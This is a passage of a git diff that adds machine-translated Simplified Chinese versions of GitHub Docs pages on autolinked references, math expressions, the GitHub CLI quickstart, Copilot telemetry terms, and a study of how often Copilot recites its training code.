show the title and state instead. For more information about task lists, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." +{% ifversion fpt or ghec %} 如果在列表中引用问题、拉取请求或讨论,则引用将展开以显示标题和状态。 有关任务列表的详细信息,请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。 {% endif %} -## Labels -When referencing the URL of a label in Markdown, the label is automatically rendered. Only labels of the same repository are rendered, URLs pointing to a label from a different repository are rendered as any [URL](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls#urls). +## 标签 +在 Markdown 中引用标签的 URL 时,标签会自动呈现。 仅呈现同一存储库的标签,指向不同存储库标签的 URL 将呈现为任何 [URL](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls#urls)。 -The URL of a label can be found by navigating to the labels page and clicking on a label. For example, the URL of the label "enhancement" in our public [docs repository](https://github.com/github/docs/) is +通过导航到标签页并单击标签,可找到标签的 URL。 例如,公共[文档存储库](https://github.com/github/docs/)中标签“增强”的 URL 为 ```md https://github.com/github/docs/labels/enhancement ``` -{% note %} -**Note:** If the label name contains a period (`.`), the label will not automatically render from the label URL. +## 提交 SHA -{% endnote %} +对提交 SHA 哈希的引用会自动转换为指向 {% data variables.product.product_name %} 上提交的短链接。 -## Commit SHAs - -References to a commit's SHA hash are automatically converted into shortened links to the commit on {% data variables.product.product_name %}. - -| Reference type | Raw reference | Short link | +| 引用类型 | 原始引用 | 短链接 | | --- | --- | --- | -| Commit URL | [`https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | +| 提交 URL | [`https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | | SHA | a5c3785ed8d6a35868bc169f07e40e889087fd2e | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | | User@SHA | jlord@a5c3785ed8d6a35868bc169f07e40e889087fd2e | [jlord@a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | `Username/Repository@SHA` | `jlord/sheetsee.js@a5c3785ed8d6a35868bc169f07e40e889087fd2e` | [`jlord/sheetsee.js@a5c3785`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | -## Custom autolinks to external resources +## 自定义外部资源的自动链接 {% data reusables.repositories.autolink-references %} -## Further reading +## 延伸阅读 -- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)" +- “[基本编写和格式设置语法](/articles/basic-writing-and-formatting-syntax)” diff --git a/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md b/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md index 2a01789396..07b5505489 100644 --- a/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md +++ b/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md @@ -1,32 +1,37 @@ --- -title: Writing mathematical expressions -intro: 'Use Markdown to display mathematical expressions on {% data variables.product.company_short %}.' +title: 编写数学表达式 +intro: '使用 Markdown 在 {% data variables.product.company_short %} 上显示数学表达式。' versions: feature: math shortTitle: Mathematical expressions +ms.openlocfilehash: b50cdde16f5496e65faf89f0692dc6201cccf15a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147529749' --- +## 关于编写数学表达式 -## About writing mathematical expressions +为了实现数学表达式的清晰传达,{% data variables.product.product_name %} 支持 Markdown 中 LaTeX 格式的数学表达式。 有关详细信息,请参阅 Wikibook 中的 [LaTeX/数学](http://en.wikibooks.org/wiki/LaTeX/Mathematics)。 -To enable clear communication of mathematical expressions, {% data variables.product.product_name %} supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks. +{% data variables.product.company_short %} 的数学呈现功能使用 MathJax;真是一种基于 JavaScript 的开源显示引擎。 MathJax 支持广泛的 LaTeX 宏,以及几个有用的辅助功能扩展。 有关详细信息,请参阅 [MathJax 文档](http://docs.mathjax.org/en/latest/input/tex/index.html#tex-and-latex-support)和 [MathJax 辅助功能扩展文档](https://mathjax.github.io/MathJax-a11y/docs/#reader-guide)。 -{% data variables.product.company_short %}'s math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentation](http://docs.mathjax.org/en/latest/input/tex/index.html#tex-and-latex-support) and [the MathJax Accessibility Extensions Documentation](https://mathjax.github.io/MathJax-a11y/docs/#reader-guide). +数学表达式可在以下项中呈现:{% data variables.product.prodname_github_issues %}、{% data variables.product.prodname_discussions %}、拉取请求、{% ifversion fpt or ghec or ghes > 3.6 or ghae-issue-7647 %}Wiki {% endif %}和 Markdown 文件。 -Mathematical expressions rendering is available in {% data variables.product.prodname_github_issues %}, {% data variables.product.prodname_discussions %}, pull requests, {% ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}wikis, {% endif %}and Markdown files. +## 编写内联表达式 -## Writing inline expressions - -To include a math expression inline with your text, delimit the expression with a dollar symbol `$`. +要在文本中包含内联数学表达式,请使用美元符号 `$` 分隔表达式。 ``` This sentence uses `$` delimiters to show math inline: $\sqrt{3x-1}+(1+x)^2$ ``` -![Inline math markdown rendering](/assets/images/help/writing/inline-math-markdown-rendering.png) +![内联数学 markdown 呈现](/assets/images/help/writing/inline-math-markdown-rendering.png) -## Writing expressions as blocks +## 将表达式编写为块 -To add a math expression as a block, start a new line and delimit the expression with two dollar symbols `$$`. +要以块的形式添加数学表达式,请启动一个新行,并使用两个美元符号 `$$` 分隔表达式。 ``` **The Cauchy-Schwarz Inequality** @@ -34,11 +39,11 @@ To add a math expression as a block, start a new line and delimit the expression $$\left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right)$$ ``` -![Math expression as a block rendering](/assets/images/help/writing/math-expression-as-a-block-rendering.png) +![数学表达式作为块呈现](/assets/images/help/writing/math-expression-as-a-block-rendering.png) {% ifversion math-fenced-blocks %} -Alternatively, you can use the \`\`\`math code block syntax to display a math expression as a block. With this syntax, you don't need to use `$$` delimiters. +或者,可以使用 \`\`\`math 代码块语法将数学表达式显示为块。 使用此语法时,无需使用 `$$` 分隔符。 ```` **Here is some math!** @@ -48,32 +53,32 @@ Alternatively, you can use the \`\`\`math code block syntax to disp ``` ```` -![Math expression in a fenced code block](/assets/images/help/writing/math-expression-as-a-fenced-code-block.png) +![围栏代码块中的数学表达式](/assets/images/help/writing/math-expression-as-a-fenced-code-block.png) {% endif %} -## Writing dollar signs in line with and within mathematical expressions +## 在数学表达式所在的行中和数学表达式内编写美元符号 -To display a dollar sign as a character in the same line as a mathematical expression, you need to escape the non-delimiter `$` to ensure the line renders correctly. +要在数学表达式所在的同一行中将美元符号显示为字符,需要对非分隔符 `$` 进行转义以确保行正确呈现。 - - Within a math expression, add a `\` symbol before the explicit `$`. + - 在数学表达式内,在显式 `$` 之前添加一个 `\` 符号。 ``` This expression uses `\$` to display a dollar sign: $\sqrt{\$4}$ ``` - ![Dollar sign within math expression](/assets/images/help/writing/dollar-sign-within-math-expression.png) + ![数学表达式内的美元符号](/assets/images/help/writing/dollar-sign-within-math-expression.png) - - Outside a math expression, but on the same line, use span tags around the explicit `$`. + - 在数学表达式之外,但在同一行上,在显式 `$` 两边使用 span 标记。 ``` To split $100 in half, we calculate $100/2$ ``` - ![Dollar sign inline math expression](/assets/images/help/writing/dollar-sign-inline-math-expression.png) + ![美元符号内联数学表达式](/assets/images/help/writing/dollar-sign-inline-math-expression.png) -## Further reading +## 延伸阅读 -* [The MathJax website](http://mathjax.org) -* [Getting started with writing and formatting on GitHub](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) -* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) +* [MathJax 网站](http://mathjax.org) +* [Getting started with writing and formatting on GitHub(GitHub 写作和格式设置入门)](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) +* [GitHub 支持的 Markdown 规范](https://github.github.com/gfm/) diff --git a/translations/zh-CN/content/github-cli/github-cli/quickstart.md b/translations/zh-CN/content/github-cli/github-cli/quickstart.md index 4b77a522cb..254819be91 100644 --- a/translations/zh-CN/content/github-cli/github-cli/quickstart.md +++ b/translations/zh-CN/content/github-cli/github-cli/quickstart.md @@ -1,6 +1,6 @@ --- -title: GitHub CLI quickstart -intro: 'Start using {% data variables.product.prodname_cli %} to work with {% data variables.product.company_short %} in the command line.' +title: GitHub CLI 快速入门 +intro: '开始使用 {% data variables.product.prodname_cli %} 在命令行中使用 {% data variables.product.company_short %}。' versions: fpt: '*' ghes: '*' @@ -11,37 +11,41 @@ topics: type: overview allowTitleToDifferFromFilename: true shortTitle: Quickstart +ms.openlocfilehash: 004f848e973aa66d19b9de6b922d65dba76f1aea +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145066714' --- - -## About {% data variables.product.prodname_cli %} +## 关于 {% data variables.product.prodname_cli %} {% data reusables.cli.about-cli %} -## Getting started +## 入门 -1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux. -1. In the command line, authenticate to {% data variables.product.company_short %}. +1. 在 macOS、Windows 或 Linux 上[安装](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %}。 +1. 在命令行中,向 {% data variables.product.company_short %} 进行身份验证。 ```shell gh auth login ``` - {% ifversion not fpt or ghec %} - To authenticate to {% data variables.location.product_location %}, use the `--hostname` flag. + {% ifversion not fpt or ghec %} 若要向 {% data variables.product.product_location %} 进行身份验证,请使用 `--hostname` 标志。 ```shell - gh auth login --hostname HOSTNAME + gh auth login --hostname hostname ``` {% endif %} -1. Start working with {% data variables.product.company_short %} in the command line. For example, find an issue to work on with `gh issue status` or `gh issue list --assignee @me`. Create a pull request with `gh pr create`. Review a pull request with `gh pr checkout`, `gh pr diff` and `gh pr review`. +1. 开始在命令行中使用 {% data variables.product.company_short %}。 例如,使用 `gh issue status` 或 `gh issue list --assignee @me` 查找要处理的问题。 使用 `gh pr create` 创建拉取请求。 使用 `gh pr checkout`、`gh pr diff` 和 `gh pr review` 查看拉取请求。 -## Next steps +## 后续步骤 -- Tell {% data variables.product.prodname_cli %} which text editor to use for commands that open a text editor. For example, enter `gh config set editor "code -w"` to set your preferred text editor to {% data variables.product.prodname_vscode %}. For more information, see [`gh config set`](https://cli.github.com/manual/gh_config_set). +- 告诉 {% data variables.product.prodname_cli %} 哪个文本编辑器用于打开文本编辑器的命令。 例如,输入 `gh config set editor "code -w"` 将首选文本编辑器设置为 {% data variables.product.prodname_vscode %}。 有关详细信息,请参阅 [`gh config set`](https://cli.github.com/manual/gh_config_set)。 -- Define aliases for commands that you commonly run. For example, if you run `gh alias set prd "pr create --draft"`, you will then be able to run `gh prd` to quickly open a draft pull request. For more information, see [`gh alias`](https://cli.github.com/manual/gh_alias). +- 为通常运行的命令定义别名。 例如,如果运行 `gh alias set prd "pr create --draft"`,则你可以运行 `gh prd` 以快速打开草稿拉取请求。 有关详细信息,请参阅 [`gh alias`](https://cli.github.com/manual/gh_alias)。 -- Create or add custom commands with {% data variables.product.prodname_cli %} extensions. For more information, see "[Using {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/using-github-cli-extensions)" and "[Creating {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/creating-github-cli-extensions)." +- 使用 {% data variables.product.prodname_cli %} 扩展创建或添加自定义命令。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_cli %} 扩展](/github-cli/github-cli/using-github-cli-extensions)”和“[创建 {% data variables.product.prodname_cli %} 扩展](/github-cli/github-cli/creating-github-cli-extensions)”。 -- For more information about all of the commands that you can run with {% data variables.product.prodname_cli %}, see "[{% data variables.product.prodname_cli %} reference](/github-cli/github-cli/github-cli-reference)." +- 有关可以使用 {% data variables.product.prodname_cli %} 运行的所有命令的详细信息,请参阅“[{% data variables.product.prodname_cli %} 参考](/github-cli/github-cli/github-cli-reference)”。 diff --git a/translations/zh-CN/content/github/copilot/about-github-copilot-telemetry.md b/translations/zh-CN/content/github/copilot/about-github-copilot-telemetry.md new file mode 100644 index 0000000000..62c4940e66 --- /dev/null +++ b/translations/zh-CN/content/github/copilot/about-github-copilot-telemetry.md @@ -0,0 +1,33 @@ +--- +title: 关于 GitHub Copilot 遥测 +intro: '{% data variables.product.prodname_copilot %} collects and relies on additional telemetry data beyond what other {% data variables.product.company_short %} products and services collect.' +redirect_from: +- /early-access/github/copilot/about-github-copilot-telemetry +versions: + fpt: '*' +ms.openlocfilehash: ad46b7b2b6626cad0419b1588d64923cca34c0ca +ms.sourcegitcommit: d8653a0ad00d2122cdaaed47f6a4f0c1d0f41845 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/18/2022 +ms.locfileid: "145148752" +--- +## 哪些数据会被收集? + +收集的数据在“[{% data variables.product.prodname_copilot %} 遥测术语](/github/copilot/github-copilot-telemetry-terms)”中进行了介绍。 此外,{% data variables.product.prodname_copilot %} 扩展/插件从用户的集成开发环境 (IDE) 收集活动(绑定到时间戳)以及扩展/插件遥测包收集的元数据。 当与 {% data variables.product.prodname_vscode %}、IntelliJ、NeoVIM 或其他 IDE 一起使用时,{% data variables.product.prodname_copilot %} 会收集这些 IDE 提供的标准元数据。 + +## {% data variables.product.company_short %} 如何使用数据 + +{% data variables.product.company_short %} 会将这些数据用于: + +- 直接改进产品,包括评估处理中的不同策略,并预测用户可能认为有用的建议 +- 评估产品,例如通过衡量其对用户的积极影响 +- 改进基础代码生成模型,例如通过提供正面和负面示例(但始终不会将您的私有代码用作输入来为 {% data variables.product.prodname_copilot %} 的其他用户建议代码) +- 指导密切相关的 {% data variables.product.company_short %} 产品 +- 调查和发现可能滥用 {% data variables.product.prodname_copilot %} 服务的情况 +- 与改进 {% data variables.product.prodname_copilot %} 服务相关的其他目的,包括下一节中所述的共享 + +## 如何共享数据 + +遥测数据安全地存储在 {% data variables.product.company_short %} 系统上,并进行了适当的加密。 我们知道用户编辑操作、源代码片段以及存储库和文件路径的 URL 都是敏感数据。 因此,访问受到严格控制。 数据访问仅限于 (1) {% data variables.product.company_short %} 团队或 {% data variables.product.prodname_copilot %} 平台健康团队中指定的 {% data variables.product.company_short %} 人员(员工和承包商),(2) 在 Azure 和/或 {% data variables.product.prodname_copilot %} 团队工作或与之合作的 Microsoft 人员(员工和承包商),以及 (3) 在 {% data variables.product.prodname_copilot %} 上工作的 OpenAI 员工。 + diff --git a/translations/zh-CN/content/github/copilot/github-copilot-telemetry-terms.md b/translations/zh-CN/content/github/copilot/github-copilot-telemetry-terms.md new file mode 100644 index 0000000000..fc8fff831a --- /dev/null +++ b/translations/zh-CN/content/github/copilot/github-copilot-telemetry-terms.md @@ -0,0 +1,22 @@ +--- +title: GitHub Copilot 遥测条款 +intro: Acceptance of the additional telemetry described below is a condition to joining the wait list for the technical preview of {% data variables.product.prodname_copilot %} and using {% data variables.product.prodname_copilot %} during the technical preview. +redirect_from: +- /early-access/github/copilot/telemetry-terms +- /github/copilot/telemetry-terms +versions: + fpt: '*' +effectiveDate: 2021-10-04 +ms.openlocfilehash: 6679538f6c55568b3bf05c0a4c5e692b5d81f54d +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145066695" +--- +## 其他遥测 + +如果使用 {% data variables.product.prodname_copilot %},{% data variables.product.prodname_copilot %} 扩展/插件将收集有关通过与集成开发环境 (IDE) 交互生成的事件的使用信息。 这些事件包括 {% data variables.product.prodname_copilot %} 性能、使用的功能以及接受、修改和接受或忽略的建议。 此信息可能包括用户个人信息等个人数据,如 [GitHub 隐私声明](/github/site-policy/github-privacy-statement)中定义。 + +此使用信息供 {% data variables.product.company_short %} 使用,并与 Microsoft 及 OpenAI 共享,用于开发和改进扩展/插件及相关产品。 OpenAI 还使用此使用信息来执行与 {% data variables.product.prodname_copilot %} 相关的其他服务。 例如,当您在启用了 {% data variables.product.prodname_copilot %} 扩展/插件的情况下编辑文件时,文件内容片段、建议和对建议的任何修改将与 {% data variables.product.company_short %}、Microsoft 及 OpenAI 共享,并用于诊断目的以改进建议和相关产品。 {% data variables.product.prodname_copilot %} 依赖于文件内容的上下文,包括正在编辑的文件以及可能在同一 IDE 实例中打开的其他文件。 当您使用 {% data variables.product.prodname_copilot %} 时,它还可能收集存储库的 URL 或相关文件的文件路径。 {% data variables.product.prodname_copilot %} 不会将这些在遥测中收集的 URL、文件路径或代码段用作对 {% data variables.product.prodname_copilot %} 其他用户的建议。 此信息被视为机密信息,并在需要知道的基础上进行访问。 禁止从 {% data variables.product.prodname_copilot %} 扩展/插件收集有关 {% data variables.product.prodname_copilot %} 的其他用户的遥测数据。 有关 {% data variables.product.prodname_copilot %} 遥测的更多详细信息,请参阅“[关于 {% data variables.product.prodname_copilot %} 遥测](/github/copilot/about-github-copilot-telemetry)”。 您可以通过联系 GitHub 并请求从技术预览版中删除来撤销对本段所述遥测和个人数据处理操作的同意。 + diff --git a/translations/zh-CN/content/github/copilot/index.md b/translations/zh-CN/content/github/copilot/index.md new file mode 100644 index 0000000000..9bde97e8db --- /dev/null +++ b/translations/zh-CN/content/github/copilot/index.md @@ -0,0 +1,16 @@ +--- +title: GitHub Copilot +intro: You can use {% data variables.product.prodname_dotcom %} Copilot to assist with your programming in your editor +versions: + fpt: '*' +children: +- /about-github-copilot-telemetry +- /github-copilot-telemetry-terms +- /research-recitation +ms.openlocfilehash: 4eba7a566b79a1a37c52b88fe54f9e5d1718a9ce +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145066694" +--- diff --git a/translations/zh-CN/content/github/copilot/research-recitation.md b/translations/zh-CN/content/github/copilot/research-recitation.md new file mode 100644 index 0000000000..6ac2f9dcf0 --- /dev/null +++ b/translations/zh-CN/content/github/copilot/research-recitation.md @@ -0,0 +1,146 @@ +--- +title: 研究书目 +intro: A first look at rote learning in {% data variables.product.prodname_dotcom %} Copilot suggestions. +redirect_from: +- /early-access/github/copilot/research-recitation +versions: + fpt: '*' +ms.openlocfilehash: cacf9a63013c5bbf9b7d867e088640ff01400289 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145066691" +--- +作者:Albert Ziegler (@wunderalbert) + +## {% data variables.product.prodname_dotcom %} Copilot:鹦鹉还是乌鸦? +先看看 {% data variables.product.prodname_dotcom %} Copilot 建议中的机械式学习。 + +## 简介 + +{% data variables.product.prodname_dotcom %} Copilot 接受了数十亿条公共代码的培训。 它向您提出的建议根据您的代码进行了调整,但其背后的处理最终是由他人编写的代码来告知。 + +建议的代码与通知它的代码之间的关系有多直接? 在最近一篇发人深省的论文[1](#footnote1)中,Bender、Gebru 等人为人工智能系统创造了“随机鹦鹉”一词,比如那些为 {% data variables.product.prodname_dotcom %} Copilot 提供动力的系统。 或者,正如 {% data variables.product.company_short %}[2](#footnote2) 的机器学习工程师在一次水冷却器聊天中说:这些系统感觉像是“一个有摄影记忆的蹒跚学步的孩子”。 + +这些都是故意过于简单化。 许多 {% data variables.product.prodname_dotcom %} Copilot 建议感觉非常具体地适应用户正在工作的特定代码基础。 通常,它看起来不像鹦鹉,更像是乌鸦在用小块[3](#footnote3)建造新的工具。 但不可否认,{% data variables.product.prodname_dotcom %} Copilot 有令人印象深刻的记忆: + +![Copilot 的影片演示](/assets/images/help/copilot/resources_recitation_example_zen.gif) + +在这里,我故意指示[4](#footnote4) {% data variables.product.prodname_dotcom %} Copilot 重写众所周知的文字,这显然是心知肚明的。 我心里也知道两份案文。 例如,我仍然记得我在学校学习的诗歌。 然而,不管这个题目如何,我从来都没有被诱惑掉进抑扬格四音步诗和关于水仙花的唱片。 + +那么 {% data variables.product.prodname_dotcom %} Copilot 很容易操作(更确切地说,其等效编码)吗? 其建议有多少是独特的,多常只是在培训期间看到一些很可能的外观代码? + +## 实验 + +在 {% data variables.product.prodname_dotcom %} Copilot 的早期开发期间,作为内部试用的一部分,有近 300 名员工将其用于日常工作。 这次试验提供了一个很好的数据集来测试背诵。 我想知道 {% data variables.product.prodname_dotcom %} Copilot 多久向他们提出一项引自以前所见的建议。 + +2021 年 5 月 7 日(我们开始提取该数据的那一天),我将调查限于 Python 的建议。 这留下了 453,780 条建议,分布在 396 个“用户周”中,即用户在 Python 代码上积极使用 {% data variables.product.prodname_dotcom %} Copilot 的日历周期间。 + +### 自动过滤 + +453,780 项建议很多,但其中许多建议可以立即撤销。 要了解有趣的案例,请考虑建议中发生的“单词”序列,这些“单词”的顺序与 Copilot {% data variables.product.prodname_dotcom %} 已接受过培训的代码中顺序相同。 在这种情况下,标点、括号或其他特殊字符都算作“单词”,而标签、空格甚至换行符完全被忽略。 毕竟,引文仍然是引文,无论是缩进 1 个制表符还是 8 个空格。 + +例如, {% data variables.product.prodname_dotcom %} Copilot 的建议之一是用空格分隔的数字的以下正则表达式: + +``` +r'^\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+' +``` + +从上述意义上说,这正好是 100 个“单词”,但这是一个特别密集的例子:平均非空代码行只有 10 个“单词”。 我已将此调查限于与代码 {% data variables.product.prodname_dotcom %} 重叠的案例中至少包含 60 个这样的“单词”。 我们必须在某个地方设置裁剪,我认为较短的序列很少引起极大兴趣。 事实上,后来确定的大多数令人感兴趣的案例都清楚地表明了 60 个单词这一门槛。 + +如果重叠延伸到用户已经写过的内容,这也是很长的。 毕竟,用户也在 {% data variables.product.prodname_dotcom %} Copilot 的帮助下编写了上下文! + +在下列示例中,用户已开始编写非常常见的代码片段。 {% data variables.product.prodname_dotcom %} Copilot 将会完成它。 即使完成工作本身相当短,再加上现有的代码,它清除了阈值值并予以保留。 + +![示例代码](/assets/images/help/copilot/example_last_straw.png) + +这个程序很宽松,足以让许多相对“无聊”的例子通过,如上述两个。 但它仍可将人类分析引入有趣的案例,清理出 99% 以上的 Copilot 建议。 + +### 手动存储 + +过滤后还剩下 473 条建议。 但它们的表现形式非常不同: + +1. 有些基本上只是重复另一个通过了过滤的案例。 例如,有时 {% data variables.product.prodname_dotcom %} Copilot 提出建议,开发人员键入一个评论行,然后 {% data variables.product.prodname_dotcom %} Copilot 再次提供一个非常相似的建议。 我从分析中删除了这些作为重复项的案例。 +2. 有些是长而重复的序列。 像以下示例一样,显然可以在训练集中的某个位置找到 `‘

’` 的重复块:
![示例重复](/assets/images/help/copilot/example_repetitions.png)
这类建议可能有用(测试用例、正则表达式),也可能没有用(在我看来例如本例)。 但无论如何,它们并不符合我开始调查时所想到的死记硬背学习的想法。 +3. 有些是标准库存,如自然数字、质数、股市股票代码或希腊字母:
![希腊字母示例](/assets/images/help/copilot/example_greek.png) +4. 有些是常见的、直接的方式,甚至是普遍的方式,以很少的自然自由度做事。 例如, 下面的中间部分触发了我使用 BeautifulSoup 包解析维基百科列表的标准方法。 事实上,在 {% data variables.product.prodname_dotcom %} Copilot 的培训数据[5](#footnote5) 中找到的最佳匹配片段使用这种代码解析不同的文章,并继续根据结果做不同的事情。
![BeautifulSoup 示例](/assets/images/help/copilot/example_beautiful_soup.png)
这也不符合我对引文的看法。 这有点像有人说“我要把垃圾拿出来;我很快就会回来的”— 这是事实陈述,不是引文,尽管这句话以前已经说过很多次了。 +5. 然后还有所有其他情况。 代码或评论中至少有一些特定重叠。 这些是我最感兴趣的,也是我从现在开始要集中精力的。 + +此存储桶必须有一些边缘案例[6](#footnote6),并且你的里程可能因你认为应分类的方式而有所不同。 也许你甚至一开始就不同意整套存储桶。 + +因此,我们已将该数据集[7](#footnote7)开源。 所以,如果您储存桶的看法有点不同,或者您对 GitHub Copilot 模仿其训练集的其他方面感兴趣,非常欢迎您忽略我的下一节,并得出自己的结论。 + +## 结果 + +![概览图](/assets/images/help/copilot/plot_buckets.png) + +对于 {% data variables.product.prodname_dotcom %} Copilot 的大多数建议,我们的自动过滤器没有发现与培训使用的代码有任何明显的重叠。 但它确实提请了我们注意 473 个案例。 删除第一个存储桶(看起来与其他案例非常相似的案例)给我留下了 185 条建议。 其中 144 个被整理在存储桶 2-4。 这在最后一个存储桶中留下了 41 个案例,“背诵”- 我脑子里想着这个词的含义。 + +这相当于每 10 个用户周 1 次背诵事件(95% 置信间隔:7 - 13 周,使用 Poisson 测试)。 + +当然,这是由 {% data variables.product.prodname_dotcom %} 和尝试过 {% data variables.product.prodname_dotcom %} Copilot 的 Microsoft 开发者测算的。 如果您的编码行为与他们的编码行为大相径庭,则您的结果可能会有所不同。 特别是,其中一些开发人员只是在 Python 项目上兼职 - 我无法区分这一点,因此将指定周编写一些 Python 的每个人计为一个用户。 + +10 周内的 1 个事件听起来不多,但也不是 0 个。 我发现有三件事让我印象深刻。 + +### {% data variables.product.prodname_dotcom %} Copilot 在缺少特定上下文时引用 + +如果我想学习一首歌的歌词,我必须听很多次。 {% data variables.product.prodname_dotcom %} Copilot 没有什么不同:要从心里学习代码片段,必须多看这个代码片段。 每个文件只显示给 {% data variables.product.prodname_dotcom %} Copilot 一次,因此片段需要存在于公共代码中的许多不同文件中。 + +在手动标记期间我们挑出的 41 个主要案例中,没有一个出现在少于 10 个不同的文件中。 大多数(35个案例)出现超过一百次。 有一次, {% data variables.product.prodname_dotcom %} Copilot 建议启动一个空文件,它甚至看到超过 70 万次不同的培训时间 - 这是GNU 一般公共许可证。 + +下图显示了存储桶 5 中结果的匹配文件数(每个结果底部有一个红色标记)与存储桶 2-4 中的匹配文件数。 我忽略了存储桶 1,这真的只是存储桶 2-4 案例与存储桶 5 案例重复项的组合。 推断的分布以红线显示;它在 100 到 1000 个匹配项之间达到峰值。 + +![匹配图数](/assets/images/help/copilot/plot_copies.png) + +### {% data variables.product.prodname_dotcom %} Copilot 大多在通用环境中引用。 + +随着时间的推移,每个文件都变得独一无二。 但 {% data variables.product.prodname_dotcom %} Copilot 不会等待[8](#footnote8):它会提供它的解决方案,同时你的文件仍然非常通用。 在没有任何具体的事情可做时,它更有可能从不同的地方引用。 + +![上下文长度图](/assets/images/help/copilot/plot_context.png) + +当然,软件开发者大部分时间都用在文件内, 上下文的独特性足以保证 {% data variables.product.prodname_dotcom %} Copilot 会提供独特的建议。 相比之下,一开始的建议相当热门,因为 {% data variables.product.prodname_dotcom %} Copilot 不知道程序会是什么。 但有时,特别是在玩具项目或独立脚本中,少量的上下文可能足以危害用户想要做什么的合理猜测。 有时它仍然足够通用, 所以 {% data variables.product.prodname_dotcom %} Copilot 认为它心里知道的解决方案之一看起来很有希望: + +![示例代码](/assets/images/help/copilot/example_robot.png) + +这几乎直接取自以不同版本上传的机器人课程作业[9](#footnote9)。 + +### 检测与检测工具一样好 + +按照目前的形式,当广泛应用时,过滤器将会发现大量不感兴趣的案例。 但是,它仍然不应该是太多的噪音。 对于实验中的内部用户来说,平均每周发现一个以上的结果(尽管可能有突发!)。 其中,约 17%(使用二元测试的置信区间为 95%:14%-21%)将在第五存储桶。 + +当然,没有什么是万无一失的:所以这也可以被欺骗。 有些案例很难通过我们正在构建的工具检测,但仍有明显的来源。 返回 Python 的 Zen: + +![Zen 变化](/assets/images/help/copilot/resources_recitation_example_zen_caw.gif) + +## 结论和后续步骤 + +这项调查表明,{% data variables.product.prodname_dotcom %} Copilot 可以逐字引用代码,但它很少这样做,当它这样做时,它大多引用每个人引用的代码,主要是在文件的开头,仿佛打破僵局。 + +但 GitHub Copilot 背诵代码和我背诵诗之间还有一个很大的区别:我知道我在引用。 我还想知道,Copilot 是在什么时候响应现有的代码,而不是提出自己的想法。 这样,我就能够查找有关该代码的背景信息,并包括到期的信贷。 + +答案是显而易见的:分享我们在本分析中使用的预过滤解决方案,以发现与培训集的重叠。 当建议包含从训练集复制的代码片段时,UI 应该简单地告诉你它从哪里引用。 然后,您可以包括适当的归因或决定完全不使用该代码。 + +此重复搜索尚未集成到技术预览中,但我们计划这样做。 我们将继续致力于降低背诵率,并使其检测更加精确。 + +

